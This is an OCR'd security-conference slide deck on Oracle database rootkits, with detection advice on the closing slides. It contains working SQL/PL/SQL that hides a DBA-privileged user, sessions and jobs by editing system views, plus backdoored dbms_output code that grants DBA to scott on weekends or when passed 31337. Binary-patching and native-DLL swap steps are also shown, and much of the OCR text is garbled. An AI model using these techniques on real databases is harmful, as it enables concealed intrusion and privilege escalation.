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CEO Alexander Kornbrust

Specialized in Oracle Security
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B, Security | Introduction

= Operating Systems and Databases are quite similar in
the architecture.

= Both have Definition Wikipedia:

A rootkit is a set of tools used after

= Users .
cracking a computer system that

= Processes hides logins, processes
[...]

= JOobs a set of recompiled UNIX tools
such as ps, netstat, passwd that

» Executables would carefully hide any trace that
those commands normally display.

= Symbolic Links

= A database is a kind of operating system

03.08.2006 -4 -
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Introduction

OS cmd

Oracle

SQL Server

DB2

Postgres

Procedures and
Functions

Procedures

ps select * from select * from list application select * from
v$process sysprocesses pg_stat_activity
kill 1234 alter system SELECT @varl = spid force application
kill session FROM sysprocesses WHERE (1234)
"12,55" nt_username="andrew"”
AND spid<>@@spidEXEC
(C"kill "+@varl);
Executables | View, Package, | View, Stored Procedures View, Stored View, Stored

Procedures

execute

select * from
view;

exec
procedure

select * from view;

exec procedure

select * from
view;

select * from
view;

execute
procedure

alter session
set
current_schema
=user01
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2. Security | Database =~ Operating System

= If @ database is a (kind of) operating system,
then it is possible to migrate malware (concepts)
like viruses or rootkits from the operating system world
to the database world.
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B, Sectrity | Operating System Rootkit

= Rootkits can also be used to protected music from being
stolen.

= Rootkits are often installed by hackers to hide their
tracks in a hacked computer.

03.08.2006 -7 -
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Introduction: OS Rootkit

installed Sony DRM rootkit

» Result of the dir command with and without an

22.

28.
O1.
30.
30.
18.
30.
30.

02.
02.
03.
O1.
O1.
08.
01.
O1.

2006
2006
2006
2006
2006
2001
2006
2006

11

[c:\>]# dir /a
21:
07:
10:
15:
16:
00
15:
17:

29
31
36
57
00

23
11

<DIR>
<DIR>
<DIR>
<DIR>
212
4.952
0
471.232

without rootkit

backup
Programme
WINDOWS
Documents
boot. ini

bootfont._bin
CONEIG.SYS
$sys$rk.exe

with (Sony) rootkit

# dir /a
21:
07:
10:
15:
16:
=00
15:

2006
2006
2006
2006
2006
2001
2006

11

29
31
36
57
00

23

<DIR>
<DIR>
<DIR>
<DIR>

backup
Programme
WINDOWS
Documents

212 boot.ini

4_.952 bootfont.bin

O_CONFI1G.SYS
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B Sectrity | Introduction: OS Rootkit

= Result of the who command with
and without an installed rootkit

without rootkit

[root@picard root]# who

root pts/0 Apr 1 12:25
root pts/1 Apr 1 12:44
root pts/1 Apr 1 12:44
ora pts/3 Mar 30 15:01

with rootkit

[root@picard root]# who

root pts/0 Apr 1 12:25
root pts/1 Apr 1 12:44
root pts/1 Apr 1 12:44
ora pts/3 Mar 30 15:01

hacker pts/3 Feb 16 15:01

03.08.2006




B Security | Migration of Rootkit

= Migration of the rootkit concept to the database world

oS -> DB
Hide OS User -> Hide Database User
Hide Jobs => Hide Database Jobs

Hide Processes = Hide Database Processes

03.08.2006 -10 -




B, Security | Database Rootkit

= Ways to implement a first generation database rootkit
« Modify the (database) object itself

« Change the execution path

03.08.2006 -11 -



M. Sectirity | Database Rootkit Evolution

= 1st Generation

= Changes in the data dictionary (e.g. modification of a
view or procedure / change synonym)
- Presented at the Black Hat Europe 2005

= 2nd Generation

 No change in the data dictionary (like views or
packages) required.
- Presented at the Black Hat USA 2006

= 3nd Generation

« Modify database structures in memory. Official API
available since Oracle 10g Rel. 2.

03.08.2006 -12 -
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Security | Rootkit - 1st generation

= Easy to implement

= Easy to find

. Generic problem of all relational databases.
Microsoft SQL Server has already some Anti-Database-
Rootkit Technologies installed (digitally signed views).

03.08.2006
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B Sectrity | Oracle Execution Path

= How is Oracle resolving object names?

= Example:

SQL> Select username from dba users; I

= Name resolution:

« Is there a local object in the current schema (table,
view, procedure, ...) called dba_users?
- If yes, use it.

« Is there a private synonym called dba_users?
- If yes, use it.

» Is there a public synonym called dba_users?
- If yes, use it.

= Is VPD in use?
- If yes, modify SQL Statement.

03.08.2006 -14 -



B Sectrity | Oracle Execution Path

User 1 User n

[ Functions ] [ Procedures] [ Packages] [Tables ] [ Func][ Proc] [Pack.]

[Views ] [Views }

[ Private Synonyms ] [ Private Synonyms ]
Public Synonyms ]

[[Views ]]
[Tables] [ Functions ] [ Procedures ] [ Packages ]

03.08.2006 - 15 -
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Oracle Execution Path

03.08.2006

= We can change the Oracle execution path by

Creating a local object with the identical name

Creating a private synonym pointing to a different
object

Creating or modify a public synonym pointing to a
different object

Switching to a different schema

-16 -
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Security | Hide Database Users

Y SYS.USER$
pmetl) Users have flag TYPE#
« Roles have flag TYPE#

03.08.2006

= User management in Oracle

« User and roles are stored together in the table

1
0

« Views dba_users and all_users to simplify access

« Synonyms for dba_users and all_users

-17 -
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Hide Database Users

= Example: Create a database user called hacker

SQL> create user hacker i1dentified by hacker;
SQL> grant dba to hacker;

= Example: List all database users

SQL> select username from dba users;

USERNAME

DBSNMP

EXFSYS

HACKER

ORDSYS

SYS

SYSTEM

[-]

03.08.2006
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Hide Database Users

Enterprise Manager (Java)

Database Control (Web)

FLIELIC

03.08.2006

Eenutzername gﬁﬁgé_glir:ﬁrprise Manager 10g

AMOMNYMOLIS

LSS Database: orallg3 = Users

DATA_SCHEMA, leans

DBESMMP

DIp Search

DIMSYS Narme |

E}.{F 5‘-1.-'5 To run an exact match search or fo run & caze sensiti

FLDWE_HLEE Results

FLOWYS 010500

DBEALEX
HTMLDE PUBLIC USER Select UserName / Account
MASTER & ANONYMOUS EXFIRED
O CTHEYS EXFIRED

MDDATA  DATA_SCHEMA OPEM

MD5YS ' DBESNMP QOFEM

MGMT _WIEWY O P EXPIRED

MOBILEADMIM O DMSYS EXPIRED

DLAPSYS € ERFEYS EXPIRED

ORDPLUGIMS ' FLOWS 010500 LOCKED

ORDSYS C FLOWS FILES LOCKED

QUTLR HoCkER 2l
i T HTMLDBALEX QOFEM

Quest TOAD

BE

Ix

T ables I Wigwms I Synonym
Folicy Groups I Profiles I
Shapshats I Rales
Resource Groups I Fesource
Java I DE Links Users

F ik T

a |Jzer

d AMOMYMOUS

& CTHSYS
DATA SCHEMA
DESHMP

& DIP

d& DMSYS

& EXFSYS

& FLOWS_010500

% FLOWS_FILES

HTMLDBALEH

-19 -
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Hide Database Users

" DBA_USERS View Info

=101

Sehema: | 575 =l
Mame:  [DBA_LUSERS

Sourca | view Info | Comments |

Walidate Query Format Query

=slect u nams, u user#, u password,
m.status,

decode(u.astatus. 4. u. ltine.
5. u ltinme.
6. u. ltine.
B, u ltime,
9, u ltime.
10, u.ltime, to date(NULL)).
decode{u.astatus,
1. u.exptine.
2. u.exptime.
5. u.exptims.
£, u e=ptine,
9, u.e=xptime,
10, u.exptime.
decode{u.ptime, '', to_date(HULL)

decode(pr.limit#, 2147483647, to_date(HULL).
decodeipr. limitd¥. 0.
decode(dp. linit#, 2147483647, to _date(HULL). u.ptimes +
dp. limit#/B6400) .
u.ptime + pr. limit#-86400)3)).
dts name, tts name. u.ctime, p name,
nvl{cgm, consuner_group, 'DEFAULT CONSUMER GROUE'),
u.ext_usernamns
from sys.user$ u left outer join sys.resource_group_napping$ cgm
on (cgm.attribute = 'ORACLE_USER' and cgm.status = 'ACTIVE' and
cgm.walus = = name),
sys.t=% dt (ts, sys profnamned p,
< sy= profile$ pr, sys profile$ dp

1
| = 'HACKER'

Show SOL Cancel

03.08.2006

|SYS@ORAMOGS | .

» Add an additional line to the view

aHD T HAME

"BRCEER

-20 -
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03.08.

Enterprise Manager (Java)

Benutzername

AMOMYMOLIS
CTASYS
DATA_SCHEMA
DESMMF

DIF

DSYS

EAFEYS
FLOWS_FILES
FLOWYS_010500
HTMLDEALEX
HTMLDE_FUEBLIC_USER
MASTER
MDDATA
WDVSY'S

2006

Database Control (Web) Quest TOAD
Database: orallga = llsers IS‘T'S
Users
Search
T ables I Wigwms I Synonym
A I Folicy Groups I Profiles I
To run an exact match search or to run a case sensi
Snapshots I Roles
Results Rezource Groups | Rezource
Java I DB Links Users
B 0O & B 7
Select UserName / Account a |lzer
& ANONYMOUS EXPIRED & ANONYMOUS
© |[CIXSYS EXPIRED db CTHSYS
T DATA_SCHEMA OPER DATA_SCHEMA,
' DESMMP OFPEM DBSHRP
C oip EXPIRED & DIP
C  DMSYS EXPIRED dh DMSYS
) |EXESYS EXFIRED a ExF5%'S
€ FLOWS_010500 LOCKED &8 FLOWS_010500
C  FLOWS_FILES LOCKED f FLOWS FILES
€ HIMLDBALEX OPEN
' HIMLDE PUELIC USER OPEM

HTMLDBALEH

-21 -
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Hide Database Users

= TOAD is using the view ALL_USERS instead of
DBA_USERS. That's why the user HACKER is still visible.

Show SOL |

.. BLL_USERS Yiew Info | o m]
Schema: IS‘T’E ;I
Mame: [ALL_USERS
Source | Wiew Info I Comments |
Validate E!uer_lrll Format Guem |

z=lect u.namse, u.us=erf. u.ctine

from =v=. u=eri u. =v=.t=% dt=s, =vs. t=5% tts

where u. datats# = dt=s. t=#

and u.temnpts# = tt=. t=#
= { I
.! AND T _HAME |= 'HACEKEEER 'J ——FFde=T A InfrndEr
OE. Cancel

|SYSEORAI0GS |

03.08.2006
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Hide Database Users

03.08.2006

= Now the user is gone in TOAD too...

5Y5 |

Policy Groups I Profiles | Palicies I Rollback Segments I Tablespaces I Libraries
Snapzhotz I Foles I Favarites I Snapzhot Logs | Dimensions
Fesource Groups I Rezource Flans I Syz Privs I Elusters.l Refresh Gru:uups.l Recycle Bin
Tablesz | Wiews | S_I.Jnl:un_lrlmsl Frocs I Triggersl Inde:-:esl Ennstraintsl Seguences
Jawva I DE Links Users |-.||:||:|3 I Tvpes I Queue Tal:ulesl E!ueuesl Directaries

0 &2ve 8|k

& ser |

& ANONYMOUS

dh CTH5YS
DATA_SCHEMA
DESHMP

d DIP

dh DMSYS

& EXFSvS

i FLOWS_010500

i FLOWS_FILES
HTMLDBALEX

HTMLDE_PLELIC_LISER
MASTER

-23 -



B Sectrity | Oracle Execution Path

select * from dba_users; (e.g. as user SYSTEM)

User 1 User n

[ Functions ] [ Procedures] Packages] [Tables ] [ Func][ Proc] [Pack.]
[Views ] [Views ]

Private Synonyms ] [ Private Synonyms ]

Public Synonyms ]

Views [4] and u.name '= "HACKER®

[Tablesﬁ/ [ Functions J [ Procedures J [ Packages J

03.08.2006 -24 -
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Security | Hide Processes

» Process management in Oracle

f « Processes are stored in a special view v$session
o) located in the schema SYS

= Public synonym v$session pointing to v_$session

= Views v_$session to access v$session

03.08.2006
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Hide Processes

Example: List all database processes

03.08.2006

SID

SQL> select sid,serial#, program from v$session;

SERIAL# PROGRAM

OMS

OMS

OMS

OMS

OMS
sglplus.exe
OMS
emagent@picard.rds (TNS Vi1
OMS

OMS

OMS

- 26 -
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Hide Processes

Modify the views (v$session, gv_$session, flow sessions,

v_$process) by appending
username

"HACKER™

_¥_$SESSION Yiew Info

Schema: ISYS

[

Name: [+_$SESSION

Source I‘-p"iew Infa I Cnmmentsl

Walidate Query | Farrnat Querns |

=10l %]

JRETE
Schema: | S LI
Name: [_$PROCESS

Source | Yiew Info | Comments I

W alidate Query | Format Query |

select

i 00 o 1 P

t "SADDE" "SID" . "SERIAL#", "AUDSID", "PADDE", "USER#"."T Ere username |
where username |= 'HACKER'
| I « | »]
Show SGL | (]4 Cancel | Show SEL | Ok, | Cancel |
|SrS@0RA10103 | 4| ||Svs@ORAOGS | w
.. G¥_4$SESSION Yiew Info. | -0l x| . FLOW_SESSIONS Yiew Info. o =] 3
Schema: ISYS ;I Schema: |SYE~ ;I
Mame: |GV _$SESSION Mame:  [FLOWw_SESSIONS

Source | Wienw Info I Comments |

Walidate Quer_l,.ll Format Query |

Source | Yigw Info | Comments I

Validate Query | Format Query |

==lect
from =ion
where USERNAME!='HACKER

“INST In" . “SADPE"."SID" . "SERIALy"  “AUBSID"  "PLDDR" . “USER®" .."TH

select "SADDR". "SID". "SERIAL#" . "AUDSID" "FADDR". "USER#" . "USERNAME" "

from wisession

@Ere usernamne != 'HACKER'

| i K i
Show 5L | o | concel | Shaw SOL | ok | comeel |
|svS@ORATOGS | 4| |lsvs@oRaiogs | y

03.08.2006
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m. Security | Hide Database Jobs

» Database Jobs in Oracle

: ‘t\ « Oracle jobs are stored in the table SYS.JOB$
« The view dba_jobs simplifies the access

= Public synonym for dba_jobs

03.08.2006 - 28 -



m. Security | Hide Database Jobs

Example: Create a database job running at midnight
x|

~ \ Job Murnber/ldentifier Show SOL

Ok

"\> First execution: [v Long date format &t this time:
Fretag . 1. Aprl 2005 j I'IE:EIEI:EE j Cancel

Subzequent executions:
Ewery day at midnight j

TRUMC[SYSDATE+1]
What to esecute @ Parse Mo Parse _|

declare

nydate date;
begin
zelect sy=date into mydate from dual;

end ;

'HACKER®@ORA10104 | v

03.08.2006




m. Security | Hide Database Jobs

See all database jobs in the view dba_jobs

JOB |LOG_USER |PRIV_USER |SCHEMA_UUSER |LAST_DATE

LAST_SEC |THIS_DATE |THIS_SEC |

o EREH s s
2 SYS WSS
a1 SY'STEM oo T ER
10 5% SkhAAMN Sk AMN
RO HACKEER HACKER

03.08.2006

WK S
WK YD
S TEM
S ebAAN
HACKER

29.03.2008 15:23:05
29.03.2008 21:00:03
29.03.2008 20:47:35
29.03.2008 21:10:53

15:23:05
21:00:03
20:47: 30
21:10:53

- 30 -
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Hide Database Jobs

Add an additional line to the view

_ DBA_JOBS View Info

Schema:; | 595 1y

Mame: |DBA_JOBS

Source | Yiew [nfa I Camments I

Walidate E!uer_l,ll Format Queny |

=10j x|

from =v=.job% J

==lect JOB, lowner LOG_USEER. powner PRIV _USER. cowner SCHEMA TSER.

LAST DATE. =ubstr{to_char({la=st_date., 'HHZ4 HI:S5').1.8) LAST SEC.
THIS_DATE., substrito_chari{thi=z date, 'HHZ4:MI:S5"').1.8) THIS SEC,
HEXT _DATE. =sub=strito_char(next_date, 'HHZ4 MI:S5')1.1.8) NEXT_SEC,

(total+(=vy=date-nvl{thi= date.=sy=date) ) )*86400 TOTAL TIHE.
decode(mod (FLAG, 23,1, 'Y, 0, 'H','"?"y EROKEHN,

INTERVALY interwval, FAILURES., WHAT,

nl=zenv HLS EHNV, env MISC_ENY, j.fieldl IHSTANCE

@_here powhner | = 'HACI{EE-'J

Show SOL | e

|SYSTEM@ORAIOT04 |

03.08.2006
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Hide Database Jobs

g
7 EYs

31 SYS5TEM
10 5vSkAMN

03.08.2006

Now the job is no longer visible.

JOB |LOG_USER |PRIV_UUSER |SCHEMA_USER |LAST_DATE

|LAST_SEC |THIS_DATE |THIS_SEC |

WESYS
WESYS
ST S TEM
= Ekd AN

WSS
WSS
S S TEM
S Ekd AN

29.03. 2005 15:23:05
29.03. 2005 21:00:03
29.03.2005 20:47:35
29.03.2005 21:16:15

15:23:05
21:00:03
20:47:38
211618

-32 -



B, Sectrity | 1. Gen Rootkit Examples

« Modifying Views

« Modifying (unwrapped) internal Oracle Packages

03.08.2006
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Sectrity | 1. Gen Rootkit Example - modify views

EXECUTE

SFORM, "STORAGE" ,false);

spool rk source.sqgl

select
replace(cast(dbms_metadata.get ddi("VIEW", "ALL USERS")
VARCHAR2(4000)), "where® , "where u.name !=""HACKER®"" and
from dual union select */° from dual;

select

replace(cast(dbms_metadata.get ddI("VIEW","DBA USERS")
VARCHAR2(4000)), "where® , "where u.name !=""HACKER"" and
from dual union select "/" from dual;

spool off
create user hacker identified by hacker bh2006;

grant dba to hacker;

@rk _source.sql

03.08.2006

as

DBMS_METADATA.SET_TRANSFORM_PARAM(DBMS_METADATA.SESSION_TRAN

-34 -
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1. Gen Rootkit Example

03.08.2006

» By default all Oracle system packages (like

dbms_output) are wrapped by default

« It is possible to unwrap Oracle PL/SQL packages (see

Pete Finnigan’s Black Hat Presentation “"How To
Unwrap PL/SQL")

« Working PL/SQL Unwrappers for 8i/9i and 10g are

already out there

« PL/SQL packages can be unwrapped, backdoored,

wrapped and installed in the database again

« A normal DBA/security consultant without an

unwrapper can’t find the problem

-35-



B Sectrity | 1. Gen Rootkit Example

= Unwrap PL/SQL package dbms_output (Oracle 10g)

WoForm 8l 10| x|
i IC:'u:urau:le'u:uraclexe'l.app'lurau:le'l.pruduu:mD.E.Dﬁserv;“as1IIIg j Clesr |

CREATE 0OF BREPLACE -
PACKAGE EBODYT DEME OUTPUT AZ

ENABLED EOOLELN 1= FALSE;

EUF_SIZE EINALY INTEGER;

LINEEUFLEN EINALY INTEGEL := 0;

PUTIDX EINALY INTEGEDL := 1;

GETIDX EINALY INTEGEL := Z;

CET_IN PROGREZZ EOOLEAN := TRUE;

TYPE CHAR_ARE IS TAELE OF WARCHARZ (32767) INDEX EY BINALY INTEGER;
EUF CHAR_ARL;

EUFLEFT EINALY INTEGER := -1;

PROCEDURE FEXELRAE(

NUM EINARY INTEGEER

LHUEG VARCHARE

LEEEPERRORSTACE EOOLEAN DEFAULT FALSE);
PRAGHMA INTERFACE (C, FEXERAE);

PROCEDURE PATSE APPLICATION ERROR(
NUM EINARY INTEGEER
LMEG VARCHARZE
LEEEPERRORSTACE EOOLEAN DEFAULT FALSE)
Is
EEGIN
EFXEDLE (NUM, M2G, EEEPERRORSTACE) ;
END RAISE APPLICATION EREROER: LI

03.08.2006




B Sectrity | 1. Gen Rootkit Example - via job

PROCEDURE ENABLE (BUFFER_SIZE IN INTEGER DEFAULT 20000)
IS

LSTATUS INTEGER;

LOCKID INTEGER;
MYDAY VARCHAR2(10);

BEGIN

[...]
select to_char(sysdate,'DAY") into MYDAY from dual;

IF (MYDAY IN ('SATURDAY"',"SUNDAY"))
THEN
execute immediate 'grant dba to scott’;

ELSE

execute immediate 'revoke dba to scott’;
END IF;

ENABLED := TRUE;
IF BUFFER_SIZE < 2000 THEN
BUF_SIZE := 2000;
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1. Gen Rootkit Example

03.08.2006

« Wrap the package again and install this trojanized

version into the database again

« If the package dbms_output is called on a Saturday

or Sunday the user scott becomes DBA privileges.
On Monday these privileges are revoked if the
package was called.

« During a normal weekly security audit this backdoor

will not be found.

« Only a changed checksum of the backdoored

package is an indication for a modification.

- 38 -
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« Another approach to implement a backdoor is a kind
of “port knocking” (Thanks Pete for the idea)

« By sending a special string we can activate /
deactivate internal stuff, e.g. create a reverse shell
listening on a extra port (can be done via Java)

03.08.2006 -39 -
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Security | 1. Gen Rootkit Example - via parameter

PROCEDURE ENABLE (BUFFER_SIZE IN INTEGER DEFAULT 20000) IS
LSTATUS INTEGER;

LOCKID INTEGER;
MYDAY VARCHAR2(10);

BEGIN

[..]

IF (BUFFER_SIZE = 31337)
THEN
BEGIN
execute immediate ‘grant dba to scott’;
execute immediate alter user scott identified by
ora31337";
END

ELSE
BEGIN
execute immediate 'revoke dba to scott’;
execute immediate ‘alter user scott identified by XXX*;
END
END IF;

ENABLED := TRUE;

[...]
END;




*u

red databasem

Security | 1. Gen Rootkit Example

03.08.2006

« Wrap the package again and install this trojanized
version into the database again

« If we send the value 31337 to the procedure
dbms_output.enable, we a resetting the password of
the user scott and escalate his privileges.

« During a normal weekly security audit this backdoor
will not be found.

« Only a changed checksum of the backdoored
package is an indication for a modification.

-41 -
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Security  Rootkit - 2nd generation

= More difficult to implement
= More difficult to find.

= Detection sometimes depends on the database account
(e.g. non-SYS account will never find it)

= Sometimes detection is only visible from the operating
system

03.08.2006
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Security  Rootkit - 2nd generation

= Modification of binary files

= PL/SQL Native

» Pinned PL/SQL packages

= VVPD (Virtual Private Database)

03.08.2006
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Bs Secirity = Rootkit - 2nd generation — modify binary

RDBMS

PN
N

P sys.user$

.

= Normal login process — Oracle process reads the user
credentials from the sys table sys.user$ to verify that
the login credentials are valid.

03.08.2006
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Rootkit — 2nd generation — modify binary

65
=3
28
6E
29
74
=R
75
a0
a7
32
a0
61

03.08.2006

63
20
aF
64
oo
e
24
20
a7
a0
20
EE=
ah

74
73
6E
20
oo
24
a0
7
54
61
61
4K
65

a0
e
G
28
oo
29
6F
3=
Sz
6E
6E
=
20

63
73
69
o
oo
a0
a0
65
31
6
63
73
3D

6F
ZE
6E
G
73
=
a0
T
=3
a0
20
65
20

=
4
65
=

6E
73
24
677
=
6F

54
£y
2K
23
53

I
&4
20
67

= Search the string sys.user$

28
a0
21
65
B3
a0

5F
79
7
61
53

24
7
3D
641

29
65
20
20
a0
=

S
65
65
64
aa

a0
65
33

(106 occurrences in Oracle 10 Express Edition)

select count [(¥)

from sv=.t35% whe
re (online§ !'= 3
1 and (plugged !

e aS2lEect o
SV3

from

. hiam

= 'TRANGTS ERER
QRS' and o.type#
= 2 and o.owner
# = un.userf and
U.hame = '3¥3' ..

- 45 -
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Find What: sy, User

= Replace all occurrences of sys.user$ with sys.aser$

Replace With: ays, aserf

[~ Match Case

Hl Preserve Case

[T Match Whole Word Only
Hl Fegular Expressions

Iv Replace allis From Top of File

See Help for Meaning of Special Charackers,

—Replace Where:
% Current File

™ Selected Text

™ all Open Files

X
| akark |
Replace all
i_ancel
Help |
B

Close after replace

03.08.2006
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RDBMS

PN
N

P> sys.aser$

.

03.08.2006
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= An attacker can now modify the database executable(s)
by replacing all occurrences of the table (sys.) user$
with the (new created) table sys.aser$



Bs Secirity = Rootkit - 2nd generation — modify binary

RDBMS

P> sys.aser$

sys.user$

.

= An auditor, security consultant or security tool normally
only checks the table sys.user$. But Oracle is using the
table sys.aser$ containing the hidden user.
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= Create a user hacker with DBA privileges

c:\tools>sqglplus */ as sysdba”

S0L=Plus: Release 10.1.0.2.8 - Production on Yed Aug 2 07:46:40 2006
Copyright (c) 1982, 2004, Oracle. All rights reserved.

Connected to:

Oracle Database 10g Enterprise Edition Release 10.1.8.2.8 - Production
Hith the Partitioning, Oracle Label Security, OLAP and Data Mining options
SQL> create user hacker i1dentified by hacker;

User created.

SOL> grant dba to hacker:

Grant succeeded.
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= Create a copy of the table sys.user$

= Drop user hacker from sys.user$

SQL> create table sys.aser® as select = from sys.user$:
Table created.

SQL> drop user hacker:

User dropped.
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» Shutdown database

S0L>» shutdown i1mmediate
Database closed.

Database dismounted.
ORACLE 1instance shut down.

03.08.2006

-51 -



Bs Secirity = Rootkit - 2nd generation — modify binary

= Patch binary file

[~ Regular Expressions [ASCI Orly)

8l x
Find */hat; sy Lzerd j Find Mext
Replace With: j Replace
HE ztringz should have two characters per byte and each byte
may be separated from anather with a space: Replace Al
Example: FF FE FO' ar FFFEFD

Cloze
Iv Find &5CI
[~ Match Caze

Help

Replace (=TT

99 jtems replaced,

Close Replace Dialog?

Ja I Mein

03.08.2006
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» Start database (Now the table sys.aser$ is used)

C:Mvoraclevproduct©10.1.0\db_1\rdbmshadmin>sqlplus hacker/hacker

SOL=Plus: Release 10.1.8.2.0 - Production on YWed Aug 2 A9:57:54 2006
Copvright (c) 1982, 2004, Oracle. All rights reserved.

Connected to:
Oracle Database 18g Enterprise Edition Release 10.1.0.2.8 - Production
Hith the Partitioning, Oracle Label Security, OLAP and Data Mining options

sQL>
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= Create a user hacker with DBA privileges

» Create a copy of the table sys.user$ (create table
sys.aser$ as select * from sys.user$)

= Drop user hacker from sys.user$
» Shutdown database
= Patch binary file

» Start database (Now the table sys.aser$ is used)

03.08.2006 - 54 -



s

§"e"%‘;afi5ﬁty Rootkit — 2nd generation - protection

= Oracle should sign their binary files

= Use checksum tools like tripwire to see modifications of
binary files

= Harden your database to avoid hackers
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Secirity = Rootkit - 2nd generation - PL/SQL native

» Since Oracle 9i exists a new feature which allows to
generate natively compiled code from PL/SQL

= Oracle generates a C-File which is compiled on the
target machine

= The resulting .dll/.lib is executed instead of the original
PL/SQL package.

= Oracle does not monitor the files in the file system

» Since 10g the dIlI's/lib's are stored in the database in
clobs.
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= In Oracle 9i PL/SQL native is the easiest way to execute
OS commands because you can set the name of the
make utility via an ALTER SYSTEM command

alter system set plsgl native make utility=
"calc.exe";

alter system set plsgl native make fTile name=
"c:\temp\mymakefile.mk" ;

alter system set plsql_native_library_dir=
"c:\temp\plsgl _libs";

After every compilation of PL/SQL code, Oracle starts the
PL/SQL compiler. In this case the Windows calculator.
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= In Oracle 10g PL/SQL native the compiler is retrieved
from the registry/environment.

= The compiler syntax is taken from the file
$ORACLE_HOME/plsqgl/spnc_commands

cl.exe %(src) /nologo /70x /MD /Fo%(obj)

/13 (ORACLE_HOME)/plsgl/public
/1$3(ORACLE_HOME)/plsgl/Zinclude /link /nologo
/dll $(ORACLE_HOME)/lib/oraplslO.lib

Jout:%(dI)

= A big difference is also that the lib/dll’s are stored
in the database now,
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Sectirity | Rootkit - 2nd gen. - PL/SQL native (9i)

K_/ alter session set plsgl_compiler_flags='NATIVE';

PL/SQL alter procedure myprocedure compile;
MYPROCEDURE

MYPROCEDURE_SCOTT __ 0O.c

N

MYPROCEDURE__ SCOTT__ 0.dll

03.08.2006
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Secirity = Rootkit - 2nd gen. — PL/SQL native (109g)

K_/ alter session set plsgl_compiler_flags='NATIVE';

PL/SQL
MYPROCEDURE alter procedure myprocedure compile;

N\

MYPROCEDURE__
SCOTT__0ddll

—

MYPROCEDURE_SCOTT __ 0O.c

N

MYPROCEDURE__ SCOTT__ 0.dll

l

03.08.2006
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[F————— Implementation of Procedure HELLO NATIVE_COMPILATION -—--- */
# 1fdef _ cplusplus
extern "C" {

endif

ifndef PEN_ORACLE

include <pen.h>

endif

H O OH®

/* Types used in generated code */

typedef union {ubl st[252]; size_t _si; void * _vs;} PEN_State;
typedef union {ubl cup[208]; size_t cu; void * _vc;} PEN _Cup;
typedef union {ubl slg[ 80]; pen_buffer p;} PEN Buffer;

/* Macros used In generated code */

#define dl0 ((void ***) (PEN_Registers[ 3]))
#define dpf ((void ****) (PEN_Registers[ 5]))

#define bit(x, y) ((X) & (¥))
#define PETisstrnull(strhdl) \

('PMUTIgnotnul L (PETmut(strhdl)) || !'PETdat(strhdl) || 'PETlen(strhdl))
#define PMUFIganynull(pmut) (bit((pmut)->plsmflg, (PLSFNULL | PLSFBADNULL)))

#define PMUfIgnotnull(pmut) ((bit((pmut)->plsmflg, (PLSFNULL |
PLSFBADNULL)))




ms Secirity = Rootkit - 2nd gen. - PL/SQL native (9i)

Implement a backdoor in the PL/SQL
Package MYPROCEDURE

MYPROCEDURE
(backdoored)

MYPROCEDURE _SCOTT___ 0.c (backdoored)

~,

MYPROCEDURE SCOTT___ 0.dll (backdoored)

o~

MYPROCEDURE__SCOTT___ 0.dll.bck (backdoored - Copy)
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MYPROCEDURE
(original)

Remove the rootkit from the PL/SQL
Package MYPROCEDURE

And recompile the package again

MYPROCEDURE_SCOTT__ 0.c (original)

~,

MYPROCEDURE___SCOTT___ 0.dll (original)

MYPROCEDURE__SCOTT___ 0.dll.bck (backdoored - Copy)

03.08.2006
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Replace the native compiled code on the

operating system level by replacing the
original file with the backdoored version.

MYPROCEDURE

(original) The backdoored version is now called.

MYPROCEDURE_SCOTT___ 0.c (original)

~

MYPROCEDURE SCOTT__ 0.dll (backdoored)

o~

MYPROCEDURE__SCOTT___ 0.dll.bck (backdoored - Copy)

03.08.2006
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= Don’t use PL/SQL native if not necessary
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= To avoid memory fragmentation in the shared pool
Oracle supports the preloading of (large) PL/SQL
objects into the memory. This functionality is called
pinning.

= The package dbms_shared_pool allows to pin and unpin
PL/SQL objects (not installed by default)

» Changed objects are NOT automatically reloaded if they
are changed.

= dbms_shared_pool.keep pins a package into the SGA

» dbms_shared_pool.unkeep removes a package into the
SGA
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SGA

The PL/SQL package
IS

loaded into the SGA
for execution and
dropped if not needed

/\ afterwards.

MYPROCEDURE

03.08.2006
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03.08.2006

SGA

The PL/SQL package
IS

loaded into the SGA
for execution and
dropped if not needed

/\ afterwards.

MYPROCEDURE
(backdoored)

~.
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MYPROCEDURE
(backdoored)

SGA

MYPROCEDURE

(backdoored)

~

03.08.2006

dbms_shared_p
ool.
keep('MYPROCE
DURE")
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Secturity | Rootkit — 2nd gen. - Pinning

MYPROCEDURE

~

03.08.2006

SGA

MYPROCEDURE

(hackdoored)

Remove the backdoor from the PL/SQL
package. The package in the SGA is NOT
removed automatically and will always
executed until the database is restarted
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Bs Security | Rootkit - 2nd generation — protection

» Check if dbms_shared_pool is installed

= Check on a regular basis for pinned packages
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maap Rootkit — 2nd gen. — other possibilities I
SeCurity | (yntested)

= [For database based applications using user credentials
In non SYS-schemas it is possible to hide users via
specially crafted VPD (Virtual Private Database) roles.

= HTMLDB for example is using the table
flows _020100.wwv_flow_fnd_user to store/retrieve the
user credentials

= A special VPD rule could remove some entries in this
table for specific users and / or during a special
timeframe.

03.08.2006
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maap Rootkit — 2nd gen. — other possibilities I
"a security (untested)

= Oracle QueryRewrite allows to change SQL statements
submitted by an user to increase the performance by
using materialized views

User submits Under some

Select * from cirumstances | Select * from
table_a Oracle | table b
rewrites the
query
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Rootkit — 3rd generation

03.08.2006

Difficult to implement (Direct SGA maodification)

(There is an official API to the SGA in 10g Rel. 2 which
allows the modification of SGA)

Difficult to find. Only from the operating system.
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Security =~ Surviving Updates

e During updates (database+binaries) updates the
repository is often rebuild from scratch or the binaries
replaced with new versions. This normally removes
changes in the data dictionary objects or modified
files.

To avoid this an attacker could

e Create a special database job which reinstalls the
rootkit after an upgrade/patch

e Change glogin.sqgl on the database server. This file
is executed during every start of SQL*Plus

e Create a Database startup trigger

e Backdoor custom PL/SQL of the customer
application

03.08.2006 -75-



red databasem

am Security

Finding Rootkits

03.08.2006

Checksums of database objects (e.g. Repscan)
Checksums of binary files (e.g. Tripwire)
Check, if PL/SQL native is enabled

Check, if dbms_shared_pool is installed

Harden your database and apply the latest patches
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m. Sectrity | Conclusion

e Oracle is a powerful database and there are many
possibilities to implement database rootkits in Oracle.
With these techniques an attacker (internal/external)
can hide his presence in a hacked database.

e The huge number of features (like pinning packages,
native compilation, query rewrite) in Oracle databases
allows the creation of new kind of database rootkits.
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